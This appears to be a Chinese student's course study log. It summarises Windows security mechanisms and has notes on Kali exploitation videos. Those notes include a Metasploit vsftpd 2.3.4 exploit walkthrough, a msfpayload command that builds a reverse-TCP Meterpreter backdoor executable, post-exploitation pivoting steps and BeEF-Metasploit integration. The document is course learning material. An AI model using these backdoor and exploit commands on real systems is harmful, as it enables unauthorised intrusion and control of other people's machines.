教材学习内容总结
第7章. Windows 操作系统安全攻防
Windows操作系统的安全体系结构与机制
- Windows安全体系结构
基于引用监控器(Reference Monitor)模型来实现基本的对象安全模型。最核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS安全服务。- Windows身份认证机制
分为用户,用户组,和计算机三大类。对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows用户密码经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机秘钥Hash加密后存储在SAM文件中。
Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。- Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。
Windows对于系统中所有需要保护的资源都抽象成对象,而对每个对象会关联一个SD安全描述符(Security Descriptor)都会关联一个对象描述符,有以下属性组成:Owner SID、Group SID、DACL 自主访问控制列表、SACL 系统审计访问控制列表。- Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。- Windows的其他安全机制
Windows安全中心中集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙,补丁自动更新,以及病毒防护。除了安全中心外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等。
Windows远程安全攻防技术
Windows远程攻击技术可分为:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户
- Windows系统的安全漏洞生命周期
Windows安全漏洞发现、利用与修补过程
安全漏洞公开披露信息库:几个知名的通用漏洞信息库:CVE、NVD、SecurityFocus、OSVDB等。
针对特定目标的渗透测试攻击过程:①漏洞扫描测试②查找针对发现漏洞的渗透代码③实施渗透测试
使用Metasploit软件实施渗透测试
Metasploit是完全开源的渗透测试软件。采用开发框架和模块组件的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;模块组件是真正实施渗透攻击的代码。
Metasploit提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式。- Windows远程口令猜测与破解攻击
远程口令自猜测
远程口令字交换通信窃听与破解
远程口令猜测与破解防范措施- Windows网络服务远程渗透攻击
Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。
针对NetBIOS网络服务的著名漏洞及攻击
针对SMB网络服务的著名漏洞及攻击
针对MSRPC网络服务的著名漏洞及攻击
针对Windows系统上微软网络服务的远程渗透攻击
针对Windows系统上第三方网络服务的远程渗透攻击
网络服务远程渗透攻击防范措施
视频学习
26. KaliSecurity 漏洞利用之检索与利用
1、searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的expsearchsploit wordpress
列出了漏洞和文件地址。
查看列出的文件,例:
2、ikat自动化开启不同的exp。等待目标访问中招。
3、termineter旨在评估智能电表的安全性
27. KaliSecurity 漏洞利用之Metasploit基础
Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
1、启动服务
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录。
2、路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
3、基本命令
msfpayload:用来生成payload或者shellcode。 搜索可以用msfpayload -l |gre[ "windows"
查询; -o选项可以列出payload所需的参数。
msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。
msfconsole:开启metasploit的console。
输入msfconsole,打开msf
4、测试示例:发现漏洞,搜索exploitnmap -sV 192.168.8.113
可以看到21端口开放的是ftp服务,用的版本是vsftpd 2.3.4
此版本是否存在漏洞,在msf里用search vsftpd
搜索一下
发现有匹配项
5、测试示例:选择exploit,查看参数
查看参数,发现RHOST的参数还未设置,接下来为其设置参数set RHOST 192.168.8.113
6、测试示例:选择payload
设置好之后,show options
查看参数,发现没有要设置的参数了
7、执行攻击
输入exploit
即可进行攻击测试,如果成功,将返回一个shell:
此时可查看id,ip地址,还有一些文件信息等,可获取目标主机的权限
28. KaliSecurity 漏洞利用之Meterpreter介绍
生成Meterpreter后门;打开MSF,开启监听(选择exploit/multi/handler);在目标机器上执行door.exe;
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.113 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe /* 查看自己的IP地址为192.168.8.113,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/
用use exploit/multi/handler
来接收返回的连接
设置reverse_tcp的LHOST、LPORT参数
此时执行生成后门的命令
生成了door.exe文件
29. KaliSecurity 漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
1、查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
2、添加路由表run autoroute -s 10.0.0.1
可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
3、开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
4、通过background和session -i可以自由切换进入session。
5、输入run可以看到在meterpreter上可以做的很多命令。
6、通过run post/可以看到后渗透测试模块
7、获取内网信息run arp_scanner -r 10.0.0.1/24
8、也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\\
传送文件到c盘根目录。
30. KaliSecurity 漏洞利用之BeEF
1、在命令行下启动BeeFbeef-xss
2、假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
此时页面左侧就会多出一项在线主机:
在此,输入的是hello world,返回成功!
5、Proxy功能(代理功能)
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
6、BeEF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置.
默认:
配置:
首先打开beef xss目录
cd /usr/share/beef-xss/
ls
nano config.yaml /*编辑一下,可以看到有很多配置信息,包括用户名、密码都可以在这设置,在此将Metasploit的false修改为true */
clear
保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径:
cd extensions/metasploit/
ls
nano config.yaml /* 将host和callback_host行的IP修改为本机IP,并修改custom路径为/usr/share/metasploit-framework/ */
配置好后打开msfconsole,运行命令:
load msgrpc ServerHost=222.28.136.234 Pass=abc123
执行./beef -x
重新加载Metasploit的exploit模块
加载之后,重启下服务
service beef-xss restart
此时再访问以下之前的页面,发现无法连接,稍等片刻,使用默认用户密码登录进去。发现Metasploit下多了许多模块:
问题
上周考试错题总结
下面哪些Linux 命令可以ASCII码和16进制单字节方法输出Hello.java的内容?
A .od -b -tx1 Hello.java
B .od -tcx1 Hello.java
C .od -tc -tx1 Hello.java
D .od -tbx1 Hello.java
正确答案:BC
解析:-b 是以八进制输出传输层的攻击都和TCP三次握手过程的设计缺陷有关。
A .True
B .False
正确答案 B
解析:传输层协议有TCP和UDP下面的攻击模式中,()是主动攻击模式。
A .截获
B .中断
C .篡改
D .伪造
正确答案:BCD
解析:P139,截获是被动攻击,其他均是主动攻击防火墙部署方式中,不能实现网络层和应用层双重安全的是?
A .包过滤路由器
B .双宿主堡垒主机
C .屏蔽主机
D .屏蔽子网
正确答案:AB
解析:P189,屏蔽主机方式保证了网络层和应用层的双重安全,而屏蔽子网方式是在屏蔽主机模式的基础上进行改进的防火墙部署模式。
学习进度条
学习目标(本学期)
学习网络攻防技术实践教材,动手操作教材以及视频里的内容,并有深入
第六周进度
上周目标完成情况
学习教材第5、6章,视频学习21到25,并进行相应的实践操作。本周学习计划
学习教材第7章,视频学习26到30,并进行相应的实践操作。
第七周进度
- 学习教材第7章,视频学习26到30,并进行相应的实践操作。
参考资料
- 网络攻防技术与实践 (官网)